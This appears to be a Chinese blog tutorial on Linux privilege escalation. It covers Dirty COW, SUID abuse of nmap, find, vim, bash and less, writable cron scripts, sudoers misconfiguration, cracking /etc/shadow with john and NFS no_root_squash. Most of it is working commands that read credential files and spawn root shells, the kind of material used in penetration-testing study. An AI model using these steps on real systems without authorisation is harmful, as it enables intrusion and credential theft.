干货 | 最详细Linux提权总结(建议收藏)

简介: 干货 | 最详细Linux提权总结(建议收藏)

1、内核漏洞脏牛提权

查看发行版本

    cat /etc/issuecat /etc/*-release

    查看内核版本信息


    uname -a

    具体提权

    1、信息收集配合kali提权

    uname -a   #查看内核版本信息

    640.png

    内核版本为3.2.78,那我们可以搜索该版本漏洞

    searchsploit linux 3.2.78

    640.png找到几个可以使用的脏牛提权脚本,这里我使用的是40839.c脚本

    640.png

    那我们把这个文件也进行上传

    640.png

    然后在我们反弹的shell上查看,发现上传成功。

    640.png

    我们可以先看看脚本

    640.png

    利用提示对脚本进行编译

    gcc -pthread 40839.c -o 40839 -lcrypt

    640.png

    640.png

    运行然后输入密码即可

    640.png接下来我们通过

    su firefart   #切换用户

    640.png

    2、利用linux-exploit-suggester、linux-exploit-suggester-2等工具

    linux-exploit-suggester

    640.png

     linux-exploit-suggester-2

    640.png

    2、SUID配置错误提权

    SUID简介

    1.只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.

    2.命令执行者要对该程序文件拥有执行(x)权限.

    3.命令执行者在执行该程序时获得该程序文件属主的身份.

    4.SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效

    SUID设置方法

      1、chmod u+s FILE...2、chmod u-s FILE…

      具体提权

      SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限

      常见Linuxroot文件列表如下

        nmapvimfindbashmorelessnanocp

        利用如下POC

          #以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令find / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000-print2>/dev/nullfind / -user root -perm -4000-exec ls -ldb {} \;

          640.png

          各命令提权利用

          nmap

          旧版本的 Nmap(2.02 到 5.21)具有交互模式,允许用户执行 shell 命令。由于 Nmap 位于以 root 权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的 shell。

          nmap --interactive #启动交互模式

          640.png

            nmap> !shsh-3.2# whoamiroot

            640.png

            或者有一个 Metasploit 模块,它通过 SUID Nmap 二进制文件执行权限提升。

            exploit/unix/local/setuid_nmap

            find

            实用程序find可用于发现存储在系统上。然而,它是执行命令的能力。因此,如果它被配置为使用 SUID 权限运行,那么所有将通过 find 执行的命令都将以 root 身份执行。

            我们拿到一个非root权限

            640.png

              touch abcfind abc -exec whoami \;

              640.png

              vim

              Vim 的主要用途是作为文本编辑器。但是,如果它作为 SUID 运行,它将继承 root 用户的权限,因此它可以读取系统上的所有文件。

              vim.tiny /etc/shadow

              640.png

              还可以通过vim来打开shell

                vim.tiny# Press ESC key:set shell=/bin/sh:shell

                640.png

                 Bash

                  bash -pbash-3.2# iduid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

                  640.png

                  lessmore

                    less /etc/passwd!/bin/sh

                    640.png

                    3、计划任务提权

                    系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出

                    利用命令如下命令列出一些计划任务

                      ls -l /etc/cron*cat /etc/crontab

                      640.png在发现有一些计划任务时,我们就可以去检查是否存在一些问题导致权限的提升

                      权限配置不当

                      首先我们拿到一个非root用户的账号,我们通过一些其他的手段提权都失败了,这个时候我们查看了一下计划任务

                      cat /etc/crontab

                      640.png

                      发现存在一个root身份运行的test.sh,那我们当相应的目录下去查看一下这个计划任务

                       

                      cd /sbin;ls -l test.sh

                      640.png

                       

                      发现这里权限配置为777,就是说我们普通用户也能去修改这个test.sh文件,那我们对文件进行修改,然后进行提权。


                      cp /bin/bash /tmp/bash; chmod u+s /tmp/bash;

                      640.png

                      接下来就到/tmp等待计划任务的执行

                      640.png产生后对bash文件进行执行即可进行提权

                      640.png

                      4、sudo提权

                      普通用户一般是无法运行root所有者的命令的,运用sudo可以使普通用户使用root用户的命令。但是在一些场景下,管理员为了平常运营方便给sudoer文件配置不当,从而导致权限提升的问题产生。


                      一般情况下,我们使用sudo命令都需要输入root密码


                      640.png

                      管理可能为了方便对/etc/sudoers进行编辑成sudo免密码

                      vim /etc/sudoers


                      添加:test ALL=(ALL:ALL) NOPASSWD:ALL  #test为我们的用户

                      640.png

                      添加后我们在进行重新进行读取

                      640.png

                      5、明文root密码提权

                      大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的。

                      640.png

                      当我们的passwdshadow一些权限配置不当就可能会导致提权


                      passwd文件


                      test:x:1000:1000::/home/test:/bin/bash

                      passwd 由冒号分割,第一列是用户名,第二列是密码,x 代表密码 hash 被放在 shadow 里面了(非root用户不可读)。

                      当我们的passwd文件给普通用户配置了写权限,那么我们就可以通过修改x为一段已知的密码的hash值来进行提权。


                      shadow文件

                        test:$6$Mqh9T8ip$4Ev.HJTBdyobrYaW/KzBlL0yx6wefeB.VDcE7KiDiwoUvGkqShU9jRK4cEZA2kBRsyH2fWjmbxc/ZyVWfXwFJ/:18849:0:99999:7:::

                        假如我们对shadow文件有读取权限我们就可以利用hashjohn等对其进行爆破

                        这里以john为例进行演示,首先把passwdshadow两文件放在同一文件下

                        640.png

                        john --user=test test.hash


                        640.png

                        6、密码复用提权

                        当我们获取到一些如数据库、后台 web 密码,可能就是 root 密码


                        7、第三方服务提权

                        netstat -antup #查看各种网络服务

                        1NFS提权

                        当服务器中存在NFS共享,且开启了no_root_squash选项时,这时如果客户端使用的是root用户,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。

                        查看NFS服务器上的共享目录

                        sudo showmount -e x.x.x.x

                        创建本地挂载目录,挂载共享目录。使用攻击者本地root权限创建Suid shell。

                        sudo mkdir -p /tmp

                        sudo mount -t nfs x.x.x.x:/home/test /tmp

                        cp /bin/bash /tmp/shell

                        chmod u+s /tmp/shell

                        回到要提权的服务器上,使用普通用户使用shell -p来获取root权限。

                        2、数据库提权(篇幅教长,后续另起篇幅)

                        ①UDF提权

                        ②MOF提权

                        启动项提权

                        CVE-2016-6663、CVE-2016-6664组合提权

                        反弹端口提权

                        目录
                        相关文章
                        |
                        1月前
                        |
                        存储 Ubuntu Linux
                        2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 上集
                        在本节实验中,我们学习了 Linux 系统登录认证的过程,文件的意义,并通过做实验的方式对 Linux 系统 passwd 文件提权方法有了深入的理解。祝你在接下来的技巧课程中学习愉快,学有所获~和文件是 Linux 系统登录认证的关键文件,如果系统运维人员对shadow或shadow文件的内容或权限配置有误,则可以被利用来进行系统提权。上一章中,我们已经学习了文件的提权方法, 在本章节中,我们将学习如何利用来完成系统提权。在本节实验中,我们学习了。
                        |
                        5月前
                        |
                        自然语言处理 安全 Shell
                        Linux 提权-SUID/SGID_1 本文通过 Google 翻译 SUID | SGID Part-1 – Linux Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
                        接下来,让我们看看 SUID3NUM 在枚举 SUID 二进制文件方面的表现如何。 3.2、枚举 SUID 二进制文件 – SUID3NUM 我们将用来枚举 SUID 二进制文件的第二个工具是 SUID3NUM。这是一个很棒的工具,因为它是专门为枚举 SUID 二进制文件而创建的。但这还不是全部,它还提供了可用于提升权限的命令(命令从 GTFOBins 中提取)。 这还不是最好的部分,SUID3NUM 还具有内置的 autopwn 功能,可以通过 -e 开关激活! 在 OSCP 考试中也使用此工具,只要您不使用自动利用功能。 3.2.1、下载并执行 SUID3NUM 我们可以从 GitHubs
                        47 0
                        |
                        7月前
                        |
                        Linux 开发工具
                        linux sudo指令提权
                        linux sudo指令提权
                        |
                        Ubuntu 安全 Linux
                        CVE-2021-3493 Linux kernel提权漏洞复现
                        CVE-2021-3493 Linux kernel提权漏洞复现
                        232 0
                        |
                        网络协议 Linux 网络安全
                        2023年中职“网络安全“—Linux系统深入提权③
                        2023年中职“网络安全“—Linux系统深入提权③
                        118 2
                        |
                        网络协议 Linux 测试技术
                        2023年中职“网络安全“—Linux系统深入提权②
                        2023年中职“网络安全“—Linux系统深入提权②
                        110 0
                        |
                        安全 Linux 数据安全/隐私保护
                        Linux DirtyPipe 内核提权漏洞 (CVE-2022-0847)
                        它是自 5.8 以来 Linux 内核中的一个漏洞,它允许覆盖任意只读文件中的数据。这会导致权限提升,因为非特权进程可以将代码注入根进程。
                        195 1
                        |
                        缓存 安全 Linux
                        Linux内核提权漏洞—CVE-2022-0874
                        Linux内核提权漏洞—CVE-2022-0874
                        133 1
                        |
                        安全 Shell Linux
                        linux提权总结
                        linux提权总结
                        321 0
                        |
                        安全 Linux
                        Linux 系统安全 - 近期发现的 polkit pkexec 本地提权漏洞(CVE-2021-4034)修复方案
                        Linux 系统安全 - 近期发现的 polkit pkexec 本地提权漏洞(CVE-2021-4034)修复方案
                        1326 2